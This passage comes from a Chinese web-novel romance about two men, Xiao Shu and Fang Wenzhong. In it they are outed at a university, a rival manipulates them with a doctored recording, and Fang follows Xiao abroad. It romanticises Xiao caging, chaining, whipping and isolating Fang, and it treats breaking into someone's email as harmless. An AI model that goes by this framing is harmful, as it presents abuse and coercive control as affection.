方闻钟睁大眼,他是一点没有gay达啊,不过某种程度上,与其说方闻钟是同,不如说,他仅仅只是喜欢萧疏。 方闻钟糟心地皱着眉,为自己知道第一个这个圈子里的人,是如此肮脏,而感觉到有些难受。 萧疏摸着他的后脑勺,安慰他,“不要对任何群体抱有幻想,个人素质也不代表集体感官。” 邹凯这件事,在学校里还要慢慢发酵,萧疏又归于忙碌中,天天绝大多数时间泡在学校。 方闻钟,终于能轻松地喘口气了。 这天,他在书店里遇到一个眼熟的女人,方闻钟皱着眉,思虑半晌,“买什么?” 严慈:“老板,你真的不记得我了吗?”她悠悠然趴在方闻钟的收银台上,一双眼睛明亮又微笑地勾引他。 近距离看到方闻钟,她对他的印象全部激活了。 那天深夜,她只记得他身上挺干爽,挺温暖,腰里抱上去,身材好到爆! 她没看到他脸,可后来不知道为什么,心里的印像是他挺颓废的,严慈对他越想兴趣越高,于是打听到地址找过来,“这么快就忘了我吗?”她拨弄了一下自己的耳环,视线自始至终没离开过方闻钟。 甚至不算隐蔽地上下打量他的身体。 真是…… 严慈抿了抿唇,咽下口水,长得也不赖嘛,“救命恩人,我请你吃顿饭怎么样?” “不用了,”方闻钟迅速低下头,可严慈立马借杆子上爬,“你不知道那天有多危险,我一个女人,落在他们手里会是什么下场!”她说着说着眼泪就啪砸下来了! 方闻钟瞳孔一下子紧缩,看她。 “我那晚和我初恋男友分手了,太伤心了才喝醉了酒,方老板,要不是你救了我,我,我……我不知道遭遇那样更恐怖的事后,我会不会轻生……” 方闻钟咬牙,没忍住安慰她,“没事,不是过去了吗。” 严慈立马擦干净眼泪,笑中带着坚强说:“所以你真的救了我,不光是我的命,还有,”她又压着哭腔,“你不知道清白对女人意味着什么,尤其我还年轻,我还这么漂亮,要是惨遭毒手,”她竟然越演越真,眼看方闻钟手足无措,哭得更大声。 心里没少琢磨,方老板,真是个朴实的好人。 终于把人哄住不哭了,方闻钟压根没察觉到自己被调查过,现在又不敢碰严慈,不想和她说话,又想她赶紧走。 最后,两人沉默地吃了一顿感谢饭。 方闻钟觉得自己是被逼的。 严慈好笑,有了第一次,就有第二次第三次,她对这样真诚不懂套路的方老板,突然好喜欢。 接下来,严慈果然在方闻钟的周边随时出现,次数多了,方闻钟自然能察觉到自己被缠上了! 严慈以为,方闻钟老实淳朴,在她的攻势下就算不喜欢她,肯定也会招架不住,慢慢落入她掌心,但她没想到,方闻钟拒绝是真拒绝得一点余地不留。 不会说话,不会处理,他就干脆躲得彻彻底底! 有时候看到严慈迎面过来了,他能转头翻墙就跑…… 严慈:“……” 方闻钟:“……”,你有本事一天二十四小时贴身跟着我。 他能意识到严慈是个挺有钱的女人,且性格没她一开始表现得那么单纯,但他不明白,她一直对自己这么穷追不舍,像狗看腊肉一样盯着他,图什么? 当然是图他这个人,图他的性格和身体了,严慈这些年吃遍了山珍海味,什么样的男人没玩过,连萧疏,都成她记忆里一个渐渐被淡忘的人了…… 但突然遇到方闻钟,可能是他那天身上的安全感和温暖。 突然就觉得自己最近身边人挺没意思的,索然无味。 于是她打算尝尝这盘隐于市井间的“野菜”,就算是野菜,方闻钟也是最粗壮的那颗,严慈只消眼神打量一番,再辅助那天醉酒中的手感,立马对他的身体有了客观的数据。 不想让自己表现得太黏人,也不想让方闻钟过度讨厌她,躲得那么匪夷所思,她打算放长线钓大鱼,慢慢来,男人嘛,哼,严慈捏了一下手,总归会是她的。 萧疏压根不知道方闻钟已经见过严慈,还救了她,更遑论最近他们两人之间的纠葛,所以那天在方闻钟楼下,看到严慈,才那么令他难以接受。 萧疏今天的时间短,没时间和方闻钟亲热,所以他只是抱着他,偶尔亲亲他,两人依偎一会儿。 方闻钟想给他做饭,他说:“不用,我们可以点外卖,多陪陪我,别劳累了。” “好。” 明明他自己坐在萧疏怀里,萧疏却枕着他睡着了。 可能只过去了十几分钟,萧疏就睁开眼准备起身。 方闻钟先一步起来,去收拾了些给萧疏弄的好吃的,“带回学校吧,比较好存放,饿了就垫一下,别太忙了都顾不上吃饭。” “好,”萧疏接过,自然而然拍了一下他屁股,“最近有好好学习吗?课上到哪儿了?” 方闻钟:“高中的所有课程都看完了,我还自己网上找卷子做了,萧疏,以前我死活学不明白的东西,现在真会了!”他有点开心。 “哎,可惜我现在会了也没什么用啊,又用不到。”他又失落起来。 “谁说的,”萧疏温柔地摸他,“知识学会了不是让你随时随地找在哪儿用的,它一直在潜移默化地改变你,滋养你,方闻钟,你不知道现在自己有多优秀,我的哥哥最棒了!” “奖励你!” 方闻钟被萧疏一顿又说好话,又用手帮忙做那事,哄得忘乎所以,他脸颊红红的,后背就靠在桌子上,桌子后面,就是二楼临窗的窗户,他眼睛里蓄满一些满足的泪水。 “萧疏,你该走了,”方闻钟提醒萧疏时间,萧疏的手,已经擦过移到他腰上。 突然腰被他紧紧攥紧,萧疏视线移过来,一双眼眸压迫孕育着风暴! “不许回头!” 他声音又急又利,方闻钟感觉到一点害怕。 萧疏沉默地压住方闻钟,然后朝窗外看去,严慈正站在一楼,在外面仰头惊讶地看着他们! 严慈在这里见到萧疏,不比萧疏的震惊少!她只调查过方闻钟的大概,一点不知道他和萧疏还有关系,还是这种渊源? 一时间,严慈死死捏着自己的包,眼睛都气红了! 方闻钟是同?一点不像,所以严慈才从来没有怀疑过,可萧疏……她回忆起几年前萧疏骂她的样子。 牙齿咬得咯吱响,气愤、恼恨!一时让严慈站在原地不走,死死盯着二楼亲密紧靠在一起的两个男人。 萧疏还以为是什么简单的人呢,谁能想到他喜欢男人,喜欢的那个已经被他拿下的男人,还是严慈惦记上的! 啊啊啊啊啊啊,严慈在心里尖叫。 这几年长进了,再见到萧疏,不觉得怕或丢人,只想拆散他们,他们让自己觉得异常碍眼! 她忽然嘴角勾了一下,准备往上走。 二楼突然动作发生变化。 萧疏一把把桌子拉到一边,下一瞬,方闻钟被他抵着脖子,一下两人直接靠在窗上!这下足够楼下的严慈看得清清楚楚。 萧疏居高临下地看着下面顿住的女人,本来气势惊人,一点也不笑,突然也扯了下嘴角,然后他猛地亲上方闻钟的嘴唇。 他亲得过分,亲得明明白白,一双手还要在他后腰上下动作,方闻钟被逼得有点难受,眼泪直流,亲得嘴巴被咬破了,萧疏捏着方闻钟的后脖颈,一双眼睛还死死盯着严慈。 他在朝自己示威,严慈剧烈地感觉到了这种预感,一时,她竟觉得,萧疏是不是疯了! 严慈气得失去理智,她觉得真他妈碍眼,嘴里忍不住骂出脏话,她甩着包踩着鞋子哒哒哒走了。 “萧疏!”方闻钟一下推开他,急促地喘气。 萧疏突然怎么了,他嘴巴感觉有点疼!看到萧疏嘴上的血迹,一时紧张,萧疏用拇指擦掉,平静道:“你的。” 他没受伤,方闻钟才赶紧问:“怎,怎么了?” 为什么突然这么亲他,刚他被猛地推到窗台上,后腰估计都磕青了一块。 萧疏像看一个陌生人一样看着他,看得方闻钟很惊慌,萧疏才开口,“什么时候做的好人好事?” “有多少次来往?” “为什么从来不说,方闻钟,现在你的生活你是一点不愿意跟我说了吗?” 真他妈好大一个惊喜。 方闻钟迷糊,可直觉让他回答最后一句话,“当然不是!你不是太忙了吗!” “哼,”许久,萧疏发出一阵冷笑,“是,我太忙了,忙得让你脱离了掌控,忙得让你忘了,方闻钟,我他妈才不是一个好人。” 第52章 关小黑屋 “吃饭了,”萧疏朝笼子里的人淡淡道。 一间新的,不大的屋子里,客厅空荡荡,只有一个硕大的一米多高的铁笼子在正中央,笼子里,一个男人被脱干净衣服,手、脚,被铁链子绑起来,随着他动作,会发出脆生生的令人牙酸的响。 方闻钟有点委屈地缩在里面,尽管笼子不算小了,可以他的身高和体格,还是只能蜷缩在里面只能跪着或坐着,萧疏好心地在下面铺了一张纯白色的毛绒毯子,毯子的毛长长的,很柔软,方闻钟一个大男人坐在里面,健硕的小腿、屁股,令人晃眼的皮肤和毯子之间的色差。 让他看起来,像一个健康的天使。 他的表情太无辜了,哪怕在萧疏手里落得这个下场,他还是会在看到萧疏过来时,纯真地抬起头,轻轻唤一声:“小梳子。” 饭要被喂着吃,萧疏会温柔地替他擦干净嘴角。 可温柔只是午饭限定,过后,他会面无表情地当着他的面打开一个开关,方闻钟扭曲地趴在地上抱住自己的膝盖,浑身颤抖! 他不想让萧疏看到他背后,可是,开关又升一级,方闻钟终于忍不住在笼子里左右打滚,求救,“小,小梳子,我错了!饶了我!” 他哭得脆弱又敏感,萧疏站起来,看着毯子上被弄湿的一块。 方闻钟被这样折磨了好几次,可每一次,他都受不住,萧疏也一句话不说,方闻钟开始对这样有点害怕,他手腕伸出去,抓住萧疏的裤腿,“小梳子,求你了,你让我做什么都可以!” 哪怕关起来,彻底不见外人,哪怕不要跟任何一个女人说话,萧疏甩开他的手。 开关终于停止,他嘴角冷漠一笑,“方闻钟,知道我为什么停了吗?” “因为我怕,你突然尿出来。” 方闻钟羞得抬不起头,全身团在一起,脸深深埋进自己怀里,身体还在短暂抽搐着,萧疏走了。 自见到严慈,萧疏立马把方闻钟转移到这个地方,对外宣称,他生病了,书店也关了,等严慈再想找方闻钟时,已经发现他住的地方,人去楼空。 方闻钟好像凭空消失在这里一样,没有人知道他,没有人惦记他。 他的世界里,突然就只有一个变了脸色的萧疏。 严慈猜测是萧疏把方闻钟藏起来了,可越证实这个猜测,她就越觉得萧疏太过分了!太疯狂了! 他真的不是玩弄方闻钟,把他当一个物品控制他掌控他吗? 严慈一时踌躇,还没想好要不要去见见萧疏,跟他问些什么…… 方闻钟打量这个陌生的房间,萧疏总是有很多让他意外的地方,也有很多不为人知的厉害和心计,可方闻钟被圈在,他不觉得害怕,他只想让萧疏跟他说说话,哪怕他做错了,哪怕萧疏生气了,跟他交流,再怎么……干他也好。 萧疏的沉默,才会让他难过。 方闻钟某天,偷偷扯开了绑住他手的链子,萧疏不想弄疼他,所以困住他手脚的链子并不牢固,于是方闻钟只需要忍一忍,就能挣开,然后,他还大著胆子,手伸到外面,没一会儿,窸窸窣窣开了锁…… 萧疏刚开门进来,就发现他从笼子里逃出来了! 方闻钟立马举手发誓:“我没想跑!我出来有一会儿了,我,我也没穿衣服,所以小梳子,我不会这样跑出去的,”衣服明明就在笼子外面。 萧疏拿着钥匙的拳头渐渐松开,他立在原地不动,一身冷气,房子里空调开得很高,才不至于让方闻钟冷,而萧疏又穿得很厚。 方闻钟没有犹豫,过去靠近萧疏,然后试探着帮他把外套脱了,又想脱其他时,萧疏一下扛起他!方闻钟视线颠倒!“啊!” 他被砰扔在床上。 在这里,什么也没做,萧疏好像并不想在一个陌生的不算家的地方,占有他,但方闻钟,还是吃了些苦头。 胸口被细长的鞭子打得发红,硬起来,萧疏的话语一点点灌输进他脑海。 “方闻钟,我等了你好多年,一朝拥有,就绝不允许别人惦记抢走。” “你是我的,我也是你的,就算全世界都他妈要死绝了灭亡了!我死也要你死在我怀里!” 萧疏是认真的,他也是脆弱的,方闻钟脸上已全部湿润,狠狠抱着他,只“嗯,嗯”回应。 “严慈我很讨厌她,我没有和她有任何亲密接触,除了第一次救她时不小心抱到了,萧疏,你别嫌弃我。” 萧疏在他脖子里蹭蹭,干燥的唇瓣落上去,“不会,不会,我最爱你。” 他曾像最严苛的警察审问罪犯,一遍遍翻来覆去颠三倒四问询方闻钟关于和严慈见面的细节,也会在方闻钟不厌其烦一遍遍重复解释,一次次软乎哄他时,像最单纯的孩子,信任方闻钟说的每一句话。 “哥哥,有时候真想把你一直关起来,你是我一个人的宠物,我是你这个世界上唯一的亲人了吧,你说有没有可能,我申请到你唯一的监护权,这样,你就再也逃不开我了……” 方闻钟只是抱着他的头,“小梳子,你太紧张了,我从来没有想逃开你,”想爱还来不及…… “不过如果可以的话,你做什么我都同意。” 他扶住萧疏的脑袋,专注地看着他,两人同时向前,亲吻。 方闻钟终于被允许出笼子,但是还不能出这个家,萧疏两点一线地去学校。 当警局向学校打去电话,了解关于邹凯的情况时,校领导急急忙忙把萧疏叫过去问话了。 警局那边说得已经够清楚,邹凯也老老实实地交代了,他切切实实触犯了法律,还是多条!被拘留等待判刑,已是板上钉钉,而起因就是他威胁同校学生萧疏,然后被萧疏坑来了警局。 校领导气得直拍桌子,“做事情能不能动动脑子!有什么不能先跟学校说,学校会帮你们解决矛盾的,到底是谁叫你把人打一顿然后扔去警局的!你的问题解决了吗?” 校领导眉毛竖起,话中有话。 萧疏平静地站在那里,表情都没变一下,旁边另一个领导见状打圆场,“萧疏啊,这件事上你的确欠考虑,应该先通过学校,学校会公正处理,有关你的事情,学校不会放任学生过度讨论个人隐私,关于邹凯,真有问题我们也会采取法律措施。” “但你这冷不丁一闹,学校什么准备也没有,就被上面和警方连续扣上几个大帽子,检查好几个月……实在是有损学校利益和形象啊。” 萧疏本来都正常,听到他说他冷不丁一闹? “哼,”他发出嗤笑声,会议室里,顿时多个大佬死死看着他,落针可闻。 “我闹?你们有没有搞搞清楚,敲诈勒索同学长达数月的不是我,偷拍别人在校外赌博嫖|娼的也不是我……邹凯你们打算怎么处理?直接退学?” 退学不好吗?这是最简单直接的做法,各领导没人说出来,但顿时脸色和表情都是一个意思,萧疏才不同意。 哪有这么简单,便宜他了。 “邹凯的事能压下去,是不是说我的事也能压下去?我什么事?”萧疏嘲讽他们,竟然把这一屋子老师领导不当前辈看,刚得理直气壮,“我就是同性恋,就是喜欢了个从小一起长大的竹马哥哥,有什么错吗?值得三堂会审?值得遮遮掩掩支支吾吾?连放到明面上跟我直接说都做不到……” 萧疏走出会议室,长久阴霾的天空,泄下来一束光,把云朵染得金黄。 “你这样如何让同行和领导、学生、家长信任你!萧疏,你马上就留校任教了,请保证你坚定的意志和干净的作风!” “如果不合你们意呢?” “……” 他被隐晦地劝退了,哪怕那些照片还没公布出去,但萧疏的行事态度,简直是一颗雷,说是还要考虑,但副教授吗,估计泡汤了,一切不出所料。 萧疏整理着他的简历、论文成果、荣誉数据,他的前途又不是只有这一条死路,但告诉方闻钟的让他学习、相信的道理!萧疏会一一身体力行地去践行,去向他证明! 同性恋不是错,不是一种代价。 他的信仰由他守护。 没必要因为一个小人,一群考虑过多的大人,就让方闻钟怀疑、退让。 这次退让了,下次他又该如何摆正自己的位置,如何挺直身子,用坚强无畏的灵魂站在萧疏身边! 严慈那日回去后,还一直气不过,萧疏故意在她面前死命和方闻钟亲热的画面,在她脑子里挥之不去,她觉得萧疏讨厌极了! 萧疏当时肯定是笑话她! 她一次次升起想拆散他们见不得他嚣张的念头,在发现方闻钟被他藏起来了,她这个念头越发想跑出来! 严慈还没发现严老这几天情绪也不太对劲,他偶尔背着手,似乎很生气的样子,哼,哼地甩脸子。 没人招惹他。 但一个人时,严老也会看着萧疏的论文,陷入不平和可惜。 邹凯果然没让萧疏失望,在方闻钟接触不到外人的时候,邹凯哪怕人被关起来,还是托外人把他手机里仅存的那张萧疏和方闻钟亲吻的照片发出去了,就公布在校园网上,在学生流量最热闹的时候。 他今天这一切都拜他所赐!他也不会放过他的! 邹凯打算报复他! 就让萧疏身败名裂,让他被万人不齿!邹凯自己是同性恋,当然知道他们这个群体面临的恶意有多大!可一切,似乎又脱离他的想像…… 一开始照片被发到校园网上! 的确引来地震般的震动! 可紧接着另一件事!彻底把所有目光吸引过去! 于是千言万语,只化作一声声卧槽!卧槽! 萧疏一时间,把学校内所有关于他的账号、数据,头像和主页全换成了那张照片! 毫无顾忌,“我在恋爱,不需要你们帮我传播。” …… 第53章 萧疏出国 严慈看到萧疏在学校里发的照片,也就比普通学生晚了一天,她皱着眉,他们真的有那么相爱吗?还是萧疏单纯的反抗欲和占有感作祟。 他就是那样偏执的一个人不是吗。 严老想给萧疏介绍一些国外的学校,他去那里任教也好深造也好,对于学校的做法,和萧疏的执拗,他哪方面都劝不动。 萧疏打定主意不低头,那严老就得为这个最小的关门弟子,铺好一点他力所能及的路。 恰好被严慈知道了,她说:“爸爸,我先去替你探探口风吧。” “也好,你们年轻人有些话说得更方便,”严老同意。 严慈把萧疏堵在一个咖啡馆里,看到女人,萧疏只是停住脚步,眼皮抬了抬,还是严慈主动认输,开口,“我有事跟你说,”他才随意坐下。 严慈没有跟他绕弯子,直接开门见山,“萧疏,为了一点私事,就搭上你的前途,真的值得吗?”她身体向前倾,死死盯着萧疏,话语又是诱惑又是好奇。 萧疏看着窗外。 “你辛辛苦苦读了二十多年书,这五六年来为了论文研究,为了实验成果,熬了多少夜,我想不通,你怎么会这么莽撞,轻轻松松就把一切努力葬送出去了,如果不是方闻钟,如果你没有这样破罐子破摔,”严慈点着手机萧疏消息评论下,五花八门的字眼。 “你会有最让人羡慕崇拜的未来。” “方闻钟对你而言意味着什么?你们只是从小相识,现在有那么大身份地位差距,我听说他还坐过牢,高中都没读完,你们有共同语言吗?” “他只是你一个兴趣盎然的玩物,还是免费的床上床下的男保姆?” 萧疏长腿在桌下伸出去,他玩味地笑,眼神冷到刺骨,这些话从严慈嘴里说出来,还真是可笑,“男保姆?一个寄托我不完整的少年时期的玩物?那你那么穷追不舍是干什么?” 严慈语滞,她现在也说不清楚,她追方闻钟,有多少是喜欢,多少是纯粹见不得他和萧疏好。 “哼,不跟你说这个了,萧疏,”严慈把一叠文档扔过去,“我可以帮你在我父亲那里争取到机会,让你出国,那里有大把的机会,也不会有人抵制同性恋,你可以再找一个新鲜的男人,留在国外当教授,还是其他选择,都比在这里僵持着好千倍万倍。” “萧疏,你可以好好想想。” 那叠文档终于被萧疏接过去翻开了。 “那我就先走了。”- 方闻钟重新回到了曾经租下的二楼小房,书店也重新开门,想到昨天晚上,萧疏跟他告别,他说:“有事要去国外一趟,是提前计画好的,什么都不用担心。” 他抚摸着方闻钟的额头,亲著他的鼻子,“最近一段时间,怪我吗?” “不怪,”方闻钟最近一直以来断绝了和外界联系,只和萧疏一个人说话,只亲近他一个人,他在家里,经常不用任何掩饰的不穿衣服地缩在萧疏怀里,所以养成了他温和的慢悠悠的,在萧疏跟前永远软和赤诚的样子。 “明天就放你出去,自己乖乖回家,不用等我,”他的归期不定,但应该也要不了太长时间。 “好。” 方闻钟乖乖地回家,打扫了房子,一个人也按时吃饭,他没细问萧疏出国是干什么,但他等着就是了。 穿上一件薄一点的外套,方闻钟照了照镜子,向书店出发。 书店重新开门,就在学校跟前,顿时异常热闹,人来人往,每个人都好奇地正大光明地看老板,方闻钟不知道学校里发生了什么,只觉得今天人格外多,而且都喜欢在店里逗留,假装看书,有时候又会被他抓到在偷看他…… 但只要他们老实买书,老实付钱,方闻钟就都不放在心上。 一波又一波,男男女女,尽管他们会交头接耳,有时候大声了方闻钟偶尔听到一两句不算干净的话,他们的目光也不算友好,方闻钟还是忍着没出声。 直到下午,来了两波他熟悉的客人。 一帮是经常来他店里买书,有时候会跟他打闹几句,聊几句的一帮男生,方闻钟没少喝他们奶茶,也没少给他们打折优惠,这帮男生一来就你推我搡地一时不敢往方闻钟跟前凑。 他们的扭捏方闻钟实在看不下去了,眉头直皱,打头的一个男生才摸了摸鼻子,结结巴巴道:“方哥,萧哥不在哈?” “你们找他?” “不不不!”男生们疯狂摆手。 方闻钟气定神闲地坐在凳子上,打算好好听听今天都是怎么了,他们要干什么? 然后他就陷入僵直。 “你说……萧疏在你们学校校园网上,公开承认他是同性恋,他和我在谈恋爱?” “是的。” “你们的照片都传遍了!”男生们没发现方闻钟一时煞白的脸,把自己的手机递过去,方闻钟立马抢过去看,就看到他们唯美的亲吻照片,男生们再仔细瞅瞅,当着当事人的面,尴尬道:“还挺好看的,方哥你们瞒得够可以啊,我们一直没看出来!” 他打开的是邹凯让人发的那张,下面的评论消息自然污言秽语,什么都有,方闻钟没有看到萧疏的宣言。 他一阵恍惚,眼前有点发晕他克制着站稳,心里灼心似的痛,他紧绷着脸颊,又问:“你们都知道了?学校所有人都知道了?包括老师?” “嗯,萧哥都那样承认了,管官媒的人都限制我们讨论传播了,上面的领导肯定都知道了。” 方闻钟极大动作地咽下一口气,手死死抓着旁边的桌子,男生们还推推搡搡,说:“恭喜啊,方哥。” 方闻钟已经摆手让他们赶紧离开了。 另一帮是萧疏和他共同的熟人,经常一起打篮球的球友,还有萧疏的室友,他们都和方闻钟差不多年纪,比刚才那帮男生大了好几岁。 他们一来倒是一拳头就砸上方闻钟的肩膀,“方老板,不够意思啊,我说怎么平日里你那么惯着萧疏,原来是关系不清白啊。” “嘿,我们现在是不是该跟你避点嫌?你们是同性恋啊,只喜欢男的?我这样的喜欢吗?” “滚边儿去!人家绝配天仙配锁死!你是哪根葱,要点脸行吗?” “哈哈哈这不开玩笑嘛。” 他们都在开玩笑,但方闻钟听不出来,他只能揪住他们话语中每一个刺耳的字眼,然后一阵阵紧张,颤栗! 萧疏室友揽住方闻钟肩膀,“哎,你和萧疏好多久了啊,是不是总背着我们偷偷干坏事啊?”他笑得猥琐,“我还没恭喜你们呢,恭喜啊,再跟萧疏说一遍恭喜,你们就得请我吃饭了知道不?萧疏哪儿去了?” “你们当了十几年好兄弟,真能跟对方看对眼?这和妹子们在一起有什么区别?”拳头邦邦邦锤在方闻钟胳膊上,室友还在好奇,问些没有边界的话。 方闻钟突然挣开他,他脸色很不好,出声时发声也异常艰难,把大家都吓了一跳,“你们先走吧,我今天还有事,店要赶紧关了。” 说着方闻钟把他们推出去,动作急躁地关上门,拉下书店闸门。 一帮子男的在外面面面相觑,最后看萧疏不在,他们和方闻钟之间毕竟隔着一个萧疏,有些话不好再说,于是:“恭喜啊,恭喜啊。” 都抱着篮球,又走了。 方闻钟低着头慌忙往家里走去,走了几步小跑起来,就在他以为今天的噩梦已经结束了,他在楼下看到了专门等他的严慈。 严慈微笑,手里拿着一根录音笔,“方闻钟,我们谈谈吧,你会感谢我让你知道一切的。” 方闻钟只愿意和严慈在楼道子里说话,严慈看到他还不愿意让她进去坐一下,顿时又气又恼。 这个直脑子…… 录音笔清清楚楚,是严慈和萧疏的谈话,方闻钟很快也知道严慈想让他知道的真相。 “我问他,你们之间差距那么大,”严慈面向方闻钟,提起她在萧疏面前说过的话,方闻钟坐过牢,一个小混混,连高中都没毕业,充其量现在多看了点书,不是文盲,如何和萧疏有资格长久的在一起。 他对萧疏而言是什么? “是玩物,是年少时期的寄托和不满,是床上床下的男保姆。”萧疏说。 严慈又问:“那现在闹到这个地步,你有必要把自己的一辈子都搭进去吗?我可以让父亲帮忙,让你去国外,在那里你不管是工作还是男人,都有更好的选择。” 萧疏说:“好。” 他接过了严慈向他抛去的橄榄枝,最后严慈的声音从录音笔里传来,“这是出国的机票,你可以今天晚上就走。” …… 萧疏就是在那天晚上走的,临走的时候说:“别等我,不用担心……” 方闻钟面无表情,可硕大的眼泪突然一颗颗就砸到地上,严慈看到后并没有觉得爽快,觉得报复折磨到他们了而畅快无比,在分开他们的过程中,比起让方闻钟难过,其实她更想让萧疏自惭形秽,自认为被抛弃! 可是他们的性格就注定了不可能。 萧疏或许认利益,以利为上,但方闻钟只认人。 所以她这个计策才能成功。 录音笔是合成的,但有些话是真的。 “邹凯的行为早在学校里曝光了,可能他忍不下去才牵扯出你和萧疏,萧疏现在在学校里举步维艰,你应该知道他在被考察留校任教,这下,他自己还承认了,那只能都半途而废。” “方闻钟,或许你和萧疏在一起的这六年很甜蜜,但是,我想,对那么有才华,那么追求向上走的萧疏而言,你也不值得他拿一生去赌去耗吧。” “他很轻易就可以有更光明的前途,更和他匹配的伴侣。” 方闻钟突然狠狠地一把抓住严慈的胳膊,凶狠地把她推倒!“你跟我说这些干什么!你有什么目的!就算没有萧疏,我也会离你远远的!你别以为我不知道你的目的!” 严慈被吓了一跳,可很快,更得意,“我就是单纯地告诉你!萧疏不要你了!萧疏抛弃你自己出国了!” “在你和他的切身利益之间!他选择了他自己!” 严慈被方闻钟一把拉扯到楼梯下面摔倒,方闻钟迅速进了自己家门,然后把门死死关住。 他抱着头,一点一点滑下去,脑子里突然像在打架,今天一天他出门,世界好像突然就变了,翻天覆地,那些嘈杂中,一边欢声笑语,对他说‘恭喜啊,恭喜你们在一起了’。 一边疾言厉色,‘因为你们在一起了!萧疏完了!萧疏毁了!他不要你了出国了!’。 他捶着头颅,一切那么不真实又那么猝不及防,方闻钟惶恐不安,彷佛置身于天堂和地狱的中间,不知道该信任哪一边,不知道该听哪一边说话,他深深埋进膝盖里,可还是没止住眼眶迅速湿润。 萧疏真的,因为在学校里甚至国内待不下去,而一切都是他的缘由,所以选择突然不告而别吗?他在国外会有更好的工作生活,更称心的男朋友吗?他们不用再受诋毁,他们‘门当户对’…… 所以萧疏在严慈提供的利益诱惑下,已经走了吗? 那些天的陌生房子里,两个人像奇怪的灵魂依偎,只是他的臆想和错觉吗? 方闻钟猛地站起身,拉开房门跑出去!他跑得太匆忙!连一件厚点的衣服也没来得及加。 第54章 方闻钟追出去 异国他乡,方闻钟走在烟雨朦胧的街道上,周边全是陌生的白人,他左顾右盼,终于鼓起勇气买了把伞,因为之前已经实验过,所以他磕磕绊绊的说英语,稍微顺利了些,很快就买到一把透明雨伞。 雨伞能挡住雨雾,可遮不住四处阴凉的风,方闻钟紧紧裹着衣服,冻到嘴唇发抖。 刚从一所大学出来,方闻钟没有找到萧疏,尽管从他跨越二十几个小时的飞机落地,到现在,他整整找了萧疏六七个小时,没吃过一口饭,没喝过一口水,还是没有找到萧疏。 他紧紧捏着手机,一个人站在举目无亲的这里,方闻钟没有流露出脆弱无措的表情,相反,正是因为他相当胆大、坚强,才敢跑出来找萧疏! 他不信严慈说的那些话,必须得萧疏亲口告诉他! 傍晚四五点钟,看到阴云下的太阳也快落下了,天色灰沉,旁边突然传出来一阵悠扬的钟声,一下子吸引到了方闻钟。 不知道为什么,他突然就朝那里走去,那是一座教堂,教堂门并没有关。 雨伞顶端滴答滴答地落水,方闻钟把伞立到了外面,他看到一个非常像萧疏的背影!坐在前排椅子上! 方闻钟失魂落魄地就朝那里走去,等他站在萧疏那一排旁边,教堂台上的牧师还在叽里呱啦说着什么,他呆愣愣的,无他,因为那个人就是萧疏。 恰时萧疏也回头,见到方闻钟,他很是惊诧了一下,可很快,他朝他招手,“坐下来。” 方闻钟呆坐在萧疏旁边,萧疏靠过来,手贴着嘴巴轻声在他耳边说:“别吵,这里正在举行一场婚礼仪式。” 一个个字砸进方闻钟脑海,又好似被反弹出去,方闻钟压根没在意萧疏说了什么,只听到“别吵、婚礼。” 萧疏在认真观看着台上的人,听他们的誓言,整个教堂内还坐着不多的和他一样的人,都露出真诚的祝福。 只有方闻钟,眼神呆滞,脑子已经飞了出去,飞到了出国前的那些忙碌。 萧疏的地址,是方闻钟托他室友查的,方闻钟让室友看看萧疏计算机里的邮件,有没有国外的,或者他最近浏览过关注过什么大学信息,室友一边嘀咕‘这不好吧,’一边在方闻钟好像要发狂一样的要求下,帮他查了。 密码还是方闻钟提供的,他试探着说:“我的生日?” 当这个密码打开,方闻钟不知道心里有没有好受点。 很快,萧疏计算机里的邮件有太多和方闻钟说的相关的了,室友一边查,一边说:“他好像从很久之前就关注过A国那边的大学了,我看看,他了解得还挺多,挺全面,”因为都是外文,室友懒得仔细看,就随口跟方闻钟这样说。 方闻钟的心一点点沉下去。 “有一个他打了星标的邮件!看来他对这所大学最满意!”室友把那个学校和地址转发过来,方闻钟就抱着这样渺小的消息,孤注一掷地跑来找人。 像疯子一样。 刚才他已经在萧疏看好的大学转了好长时间了,方闻钟没什么感觉,只有麻木。 出国,对他而言最困难的还有经验和语言,方闻钟第一次坐这么长时间的飞机,他什么都不知道,一边查,一边说着他自己不知道听没听懂的英语,一路过来…… 刚开始他紧张地手都在抖,学了好几年的英语,第一次派上用场,方闻钟差点感激地落下泪来,还好,还好,不然他只能在国内原地呆站着。 说多了其实也就那样,管他听没听懂,反正方闻钟想做的事都做成了。 他恍恍惚惚地想着过去几天几夜的经历,突然看到台上两个男人,在牧师的指引下,互相戴上戒指,亲吻。 两个男人的,婚礼? 他头一次进这个教堂后,终于表情有了变化。 仪式结束,不认识的人都走了,萧疏还坐着,显然在等方闻钟说话。 方闻钟小动作地抓着自己的裤边,还以为萧疏没察觉到,他一直微垂着头,萧疏以为他找来这里,他们突然在这里见面,刚还见证了一场美好的男性之间的婚礼,方闻钟怎么说也会和他亲热拥抱一番,谁知道,他这个样子。 萧疏坐直身体,皱起眉。 “小梳子,”方闻钟终于鼓起勇气说道,都找到这里来了,该说的想说的都说明白吧,“你能跟我回去吗?” “这里异国他乡的,人生地不熟,天气也不好,人也长得难看,跟我回去好不好?” 他的手悄悄伸过去,勾住一点萧疏的手指,萧疏没挣脱,他才继续:“回去之后你可以跟学校说我们的关系是我强迫你的,以后我不会再缠着你了,你会恢复正常,这样也就不影响你未来的工作了。” “小梳子,我还可以私下偷偷藏在你身边吗?不让人发现,”他侧过一点头,自以为说着最完美的决策,偷偷观察萧疏。 是因为他,因为邹凯曝光了他们,萧疏才被影响,那只要他不碍眼就好了,他们可以假装不认识,假装已经分开了…… 方闻钟还想悄悄做,他的床伴也好,男保姆也好…… 萧疏一双眼睛情绪异常复杂,好半天过去,他说道:“你来这里干什么?” 他异常平静冷淡地问询,竟让方闻钟刹那如坠冰窖,勾着他的手的手指断开了。 可很快,萧疏又把他的外衣脱掉,把自己的厚外套套在他身上,从后面大手环抱住他,“怎么突然来这里了?不跟我说?你知道我在这所学校附近?” “衣服湿了都没注意?”他皱着眉看着方闻钟脱下来的湿外套。 方闻钟有些怀疑地望着他,萧疏这是,关心的语气? 他半天不说话,更让萧疏觉得出什么事了,方闻钟不对劲,一下先把人整个抱起来,拥在怀里,贴了贴他同样冰凉的额头和脸颊。 再想他之前说的话。 什么叫他们之间,是方闻钟强迫的?方闻钟假装和他分手?然后不让人看出来私下他们再好?方闻钟知道他在学校受的影响了,不想这样,所以想出这个蠢办法? 萧疏回头,看向傻乎乎的方闻钟,“你在求我回去吗?” 